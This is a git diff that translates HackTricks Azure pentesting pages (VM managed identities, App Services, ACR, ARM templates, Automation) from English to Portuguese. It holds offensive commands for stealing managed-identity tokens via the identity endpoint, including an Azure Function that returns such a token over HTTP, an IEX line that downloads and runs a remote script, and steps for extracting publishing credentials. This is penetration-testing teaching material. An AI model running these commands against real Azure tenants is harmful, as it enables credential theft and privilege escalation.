`Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it. - -Depending on the situation more or less permissions might be needed to abuse this technique. +Todas essas são as permissões necessárias para **criar uma VM com uma identidade gerenciada específica** e deixar uma **porta aberta** (22 neste caso). Isso permite que um usuário crie uma VM e se conecte a ela e **roube tokens de identidade gerenciada** para escalar privilégios para ela. +Dependendo da situação, mais ou menos permissões podem ser necessárias para abusar dessa técnica. ```bash az vm create \ - --resource-group Resource_Group_1 \ - --name cli_vm \ - --image Ubuntu2204 \ - --admin-username azureuser \ - --generate-ssh-keys \ - --assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \ - --nsg-rule ssh \ - --location "centralus" +--resource-group Resource_Group_1 \ +--name cli_vm \ +--image Ubuntu2204 \ +--admin-username azureuser \ +--generate-ssh-keys \ +--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \ +--nsg-rule ssh \ +--location "centralus" # By default pub key from ~/.ssh is used (if none, it's generated there) ``` - ### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\ -Then, from the metadata service it's possible to generate tokens for each one. - +Essas permissões são suficientes para **atribuir novas identidades gerenciadas a uma VM**. Observe que uma VM pode ter várias identidades gerenciadas. Ela pode ter a **identidade atribuída pelo sistema** e **muitas identidades gerenciadas pelo usuário**.\ +Então, a partir do serviço de metadados, é possível gerar tokens para cada uma. ```bash # Get currently assigned managed identities to the VM az vm identity show \ - --resource-group \ - --name +--resource-group \ +--name # Assign several managed identities to a VM az vm identity assign \ - --resource-group \ - --name \ - --identities \ - /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ - /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 +--resource-group \ +--name \ +--identities \ +/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ +/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 ``` - -Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**: +Então o atacante precisa ter **comprometido de alguma forma a VM** para roubar tokens das identidades gerenciadas atribuídas. Verifique **mais informações em**: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm @@ -377,10 +351,6 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs... +De acordo com a [**documentação**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), esta permissão permite que você gerencie o SO do seu recurso via Windows Admin Center como administrador. Portanto, parece que isso dá acesso ao WAC para controlar as VMs... {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 3a40a9dff..4b58c09ba 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -2,28 +2,27 @@ {{#include ../../../banners/hacktricks-training.md}} -## Portals +## Portais -You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/) +Você pode encontrar a lista de **portais da Microsoft em** [**https://msportals.io/**](https://msportals.io/) -### Raw requests +### Requisições brutas #### Azure API via Powershell -Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. - -Then query the Azure REST API to get the **subscription ID** and more . +Obtenha **access_token** do **IDENTITY_HEADER** e **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. +Em seguida, consulte a API REST do Azure para obter o **ID da assinatura** e mais. ```powershell $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ - Method = 'GET' - Uri = $URI - Headers = @{ - 'Authorization' = "Bearer $Token" - } +Method = 'GET' +Uri = $URI +Headers = @{ +'Authorization' = "Bearer $Token" +} } (Invoke-RestMethod @RequestParams).value @@ -31,9 +30,7 @@ $RequestParams = @{ $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ func.HttpResponse: - logging.info('Python HTTP trigger function processed a request.') - IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] - IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] - cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) - val = os.popen(cmd).read() - return func.HttpResponse(val, status_code=200) +logging.info('Python HTTP trigger function processed a request.') +IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] +IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] +cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) +val = os.popen(cmd).read() +return func.HttpResponse(val, status_code=200) ``` +## Lista de Serviços -## List of Services - -**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.** +**As páginas desta seção estão ordenadas por serviço Azure. Nelas, você poderá encontrar informações sobre o serviço (como funciona e capacidades) e também como enumerar cada serviço.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md index 800b03b30..e43fb5823 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-acr.md +++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services. +Azure Container Registry (ACR) é um serviço gerenciado fornecido pela Microsoft Azure para **armazenar e gerenciar imagens de contêiner Docker e outros artefatos**. Ele oferece recursos como ferramentas de desenvolvedor integradas, geo-replicação, medidas de segurança como controle de acesso baseado em função e verificação de imagens, builds automatizados, webhooks e gatilhos, e isolamento de rede. Funciona com ferramentas populares como Docker CLI e Kubernetes, e se integra bem com outros serviços do Azure. -### Enumerate - -To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1): +### Enumerar +Para enumerar o serviço, você pode usar o script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1): ```bash # List Docker images inside the registry IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1") @@ -18,19 +17,15 @@ Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name " Get-AzACR -username -password -registry .azurecr.io ``` - {{#tabs }} {{#tab name="az cli" }} - ```bash az acr list --output table az acr show --name MyRegistry --resource-group MyResourceGroup ``` - {{#endtab }} {{#tab name="Az Powershell" }} - ```powershell # List all ACRs in your subscription Get-AzContainerRegistry @@ -38,19 +33,12 @@ Get-AzContainerRegistry # Get a specific ACR Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry" ``` - {{#endtab }} {{#endtabs }} -Login & Pull from the registry - +Login e Puxar do registro ```bash docker login .azurecr.io --username --password docker pull .azurecr.io/: ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index d18a4d6ee..96fd169e0 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -2,42 +2,41 @@ {{#include ../../../banners/hacktricks-training.md}} -## App Service Basic Information +## Informações Básicas do App Service -Azure App Services enables developers to **build, deploy, and scale web applications, mobile app backends, and APIs seamlessly**. It supports multiple programming languages and integrates with various Azure tools and services for enhanced functionality and management. +Azure App Services permite que os desenvolvedores **construam, implantem e escalem aplicações web, backends de aplicativos móveis e APIs de forma contínua**. Suporta várias linguagens de programação e se integra a diversas ferramentas e serviços do Azure para funcionalidade e gerenciamento aprimorados. -Each app runs inside a sandbox but isolation depends upon App Service plans +Cada aplicativo é executado dentro de um sandbox, mas a isolação depende dos planos do App Service. -- Apps in Free and Shared tiers run on shared VMs -- Apps in Standard and Premium tiers run on dedicated VMs +- Aplicativos nos níveis Gratuito e Compartilhado são executados em VMs compartilhadas. +- Aplicativos nos níveis Padrão e Premium são executados em VMs dedicadas. > [!WARNING] -> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**. +> Note que **nenhuma** dessas isolations **previne** outras **vulnerabilidades web** comuns (como upload de arquivos ou injeções). E se uma **identidade de gerenciamento** for usada, ela pode ser capaz de **escalar privilégios para elas**. -### Azure Function Apps +### Aplicativos Azure Function -Basically **Azure Function apps are a subset of Azure App Service** in the web and if you go to the web console and list all the app services or execute `az webapp list` in az cli you will be able to **see the Function apps also listed here**. +Basicamente, **os aplicativos Azure Function são um subconjunto do Azure App Service** na web e se você acessar o console da web e listar todos os serviços de aplicativo ou executar `az webapp list` no az cli, você poderá **ver os aplicativos Function também listados aqui**. -Actually some of the **security related features** App services use (`webapp` in the az cli), are **also used by Function apps**. +Na verdade, alguns dos **recursos relacionados à segurança** que os serviços de aplicativo usam (`webapp` no az cli) **também são usados pelos aplicativos Function**. -## Basic Authentication +## Autenticação Básica -When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\ -Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers. +Ao criar um aplicativo web (e uma função Azure geralmente), é possível indicar se você deseja que a Autenticação Básica seja habilitada. Isso basicamente **habilita SCM e FTP** para a aplicação, então será possível implantar a aplicação usando essas tecnologias.\ +Além disso, para se conectar a eles, o Azure fornece uma **API que permite obter o nome de usuário, senha e URL** para se conectar aos servidores SCM e FTP. -- Authentication: az webapp auth show --name lol --resource-group lol_group +- Autenticação: az webapp auth show --name lol --resource-group lol_group SSH -Always On +Sempre Ativo -Debugging +Depuração -### Enumeration +### Enumeração {{#tabs }} {{#tab name="az" }} - ```bash # List webapps az webapp list @@ -101,15 +100,15 @@ az functionapp show --name --resource-group # Get details about the source of the function code az functionapp deployment source show \ - --name \ - --resource-group +--name \ +--resource-group ## If error like "This is currently not supported." ## Then, this is probalby using a container # Get more info if a container is being used az functionapp config container show \ - --name \ - --resource-group +--name \ +--resource-group # Get settings (and privesc to the sorage account) az functionapp config appsettings list --name --resource-group @@ -125,7 +124,7 @@ az functionapp config access-restriction show --name --resource-group # Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) az rest --method GET \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" # Get source code with Master Key of the function curl "?code=" @@ -135,22 +134,18 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func # Get source code az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` - {{#endtab }} {{#tab name="Az Powershell" }} - ```powershell # Get App Services and Function Apps Get-AzWebApp # Get only App Services Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} ``` - {{#endtab }} {{#tab name="az get all" }} - ```bash #!/bin/bash @@ -170,21 +165,19 @@ list_app_services=$(az appservice list --query "[].{appServiceName: name, group: # Iterate over each App Service echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do - # Get the type of the App Service - service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) +# Get the type of the App Service +service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) - # Check if it is a Function App and print its name - if [ "$service_type" == "functionapp" ]; then - echo "Function App Name: $appServiceName" - fi +# Check if it is a Function App and print its name +if [ "$service_type" == "functionapp" ]; then +echo "Function App Name: $appServiceName" +fi done ``` - {{#endtab }} {{#endtabs }} -#### Obtain credentials & get access to the webapp code - +#### Obter credenciais e acessar o código da webapp ```bash # Get connection strings that could contain credentials (with DBs for example) az webapp config connection-string list --name --resource-group @@ -202,17 +195,12 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ## In my case the username was: $nameofthewebapp and the password some random chars ## If you change the code and do a push, the app is automatically redeployed ``` - {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -## References +## Referências - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index e0cf6a053..bf3b1fcbe 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -2,25 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) +[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) -Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal. +O Application Proxy do Azure Active Directory fornece **acesso remoto seguro a aplicações web locais**. Após um **login único no Azure AD**, os usuários podem acessar tanto **aplicações em nuvem** quanto **aplicações locais** através de uma **URL externa** ou um portal de aplicação interno. -It works like this: +Funciona assim:
-1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**. -2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device. -3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**. -4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user. -5. The connector sends the request to the **on-premises application**. -6. The **response** is sent through the connector and Application Proxy service **to the user**. - -## Enumeration +1. Após o usuário acessar a aplicação através de um endpoint, o usuário é direcionado para a **página de login do Azure AD**. +2. Após um **login bem-sucedido**, o Azure AD envia um **token** para o dispositivo cliente do usuário. +3. O cliente envia o token para o **serviço Application Proxy**, que recupera o nome principal do usuário (UPN) e o nome principal de segurança (SPN) do token. **O Application Proxy então envia a solicitação para o conector do Application Proxy**. +4. Se você configurou o login único, o conector realiza qualquer **autenticação adicional** necessária em nome do usuário. +5. O conector envia a solicitação para a **aplicação local**. +6. A **resposta** é enviada através do conector e do serviço Application Proxy **para o usuário**. +## Enumeração ```powershell # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} @@ -32,13 +31,8 @@ Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"} # to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it Get-ApplicationProxyAssignedUsersAndGroups -ObjectId ``` +## Referências -## References - -- [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy) +- [https://learn.microsoft.com/pt-br/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/pt-br/azure/active-directory/app-proxy/application-proxy) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 6fcf24ecc..1d1746e38 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -2,18 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources. +[Dos documentos:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Para implementar **infraestrutura como código para suas soluções Azure**, use modelos do Azure Resource Manager (modelos ARM). O modelo é um arquivo de Notação de Objetos JavaScript (**JSON**) que **define** a **infraestrutura** e a configuração para seu projeto. O modelo usa uma sintaxe declarativa, que permite que você declare o que pretende implantar sem precisar escrever a sequência de comandos de programação para criá-lo. No modelo, você especifica os recursos a serem implantados e as propriedades desses recursos. -### History +### História -If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**. +Se você puder acessá-lo, poderá ter **informações sobre recursos** que não estão presentes, mas que podem ser implantados no futuro. Além disso, se um **parâmetro** contendo **informações sensíveis** foi marcado como "**String**" **em vez de** "**SecureString**", ele estará presente em **texto claro**. -## Search Sensitive Info - -Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**. +## Buscar Informações Sensíveis +Usuários com as permissões `Microsoft.Resources/deployments/read` e `Microsoft.Resources/subscriptions/resourceGroups/read` podem **ler o histórico de implantações**. ```powershell Get-AzResourceGroup Get-AzResourceGroupDeployment -ResourceGroupName @@ -23,13 +22,8 @@ Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -Depl cat .json # search for hardcoded password cat | Select-String password ``` - -## References +## Referências - [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md index 43e03e664..5c59fa72d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md @@ -2,54 +2,53 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation delivers a cloud-based automation, operating system updates, and configuration service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, update management, shared capabilities, and heterogeneous features. +[Dos documentos:](https://learn.microsoft.com/en-us/azure/automation/overview) O Azure Automation oferece um serviço de automação baseado em nuvem, atualizações de sistema operacional e configuração que suporta gerenciamento consistente em seus ambientes Azure e não-Azure. Inclui automação de processos, gerenciamento de configuração, gerenciamento de atualizações, capacidades compartilhadas e recursos heterogêneos. -These are like "**scheduled tasks**" in Azure that will let you execute things (actions or even scripts) to **manage**, check and configure the **Azure environment**. +Esses são como "**tarefas agendadas**" no Azure que permitem que você execute coisas (ações ou até mesmo scripts) para **gerenciar**, verificar e configurar o **ambiente Azure**. -### Run As Account +### Conta Run As -When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\ -Microsoft recommends using a **Managed Identity** for Automation Account. +Quando a **Conta Run As** é usada, ela cria um **aplicativo** Azure AD com certificado autoassinado, cria um **principal de serviço** e atribui o papel de **Contribuidor** para a conta na **assinatura atual** (muitos privilégios).\ +A Microsoft recomenda o uso de uma **Identidade Gerenciada** para a Conta de Automação. > [!WARNING] -> This will be **removed on September 30, 2023 and changed for Managed Identities.** +> Isso será **removido em 30 de setembro de 2023 e alterado para Identidades Gerenciadas.** ## Runbooks & Jobs -**Runbooks** allow you to **execute arbitrary PowerShell** code. This could be **abused by an attacker** to steal the permissions of the **attached principal** (if any).\ -In the **code** of **Runbooks** you could also find **sensitive info** (such as creds). +**Runbooks** permitem que você **execute código PowerShell arbitrário**. Isso pode ser **abusado por um atacante** para roubar as permissões do **principal anexado** (se houver).\ +No **código** dos **Runbooks**, você também pode encontrar **informações sensíveis** (como credenciais). -If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**). +Se você puder **ler** os **jobs**, faça isso, pois eles **contêm** a **saída** da execução (potencial **informação sensível**). -Go to `Automation Accounts` --> `